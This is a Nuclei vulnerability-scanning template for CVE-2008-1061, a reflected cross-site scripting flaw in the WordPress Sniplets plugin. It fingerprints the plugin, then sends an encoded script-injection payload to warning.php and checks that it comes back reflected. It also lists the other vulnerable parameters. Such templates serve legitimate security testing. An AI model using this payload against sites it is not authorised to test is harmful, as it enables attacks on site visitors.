id: CVE-2008-1061

info:
  name: WordPress Sniplets <=1.2.2 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: |
    WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the text parameter to warning.php, notice.php, and inset.php in view/sniplets/, and possibly modules/execute.php; via the url parameter to view/admin/submenu.php; and via the page parameter to view/admin/pager.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update WordPress Sniplets plugin to the latest version available, which addresses the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/5194
    - https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
    - https://nvd.nist.gov/vuln/detail/CVE-2008-1061
    - http://securityreason.com/securityalert/3706
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/40830
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2008-1061
    cwe-id: CWE-79
    epss-score: 0.00158
    epss-percentile: 0.36219
    cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: wordpress
    product: "sniplets_plugin"
  tags: cve2008,cve,xss,wp-plugin,wp,edb,wpscan,wordpress,sniplets,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/sniplets/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Code Snippets'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c6f136d4d1266373f042b2273bf808af58e42727a893cd0118fa7e2aaf53d31b022100823456641d034eb1c76cc3999623e031e6170f145082b41168a46903e8fb48c3:922c64590222798bb761d5b6d8e72950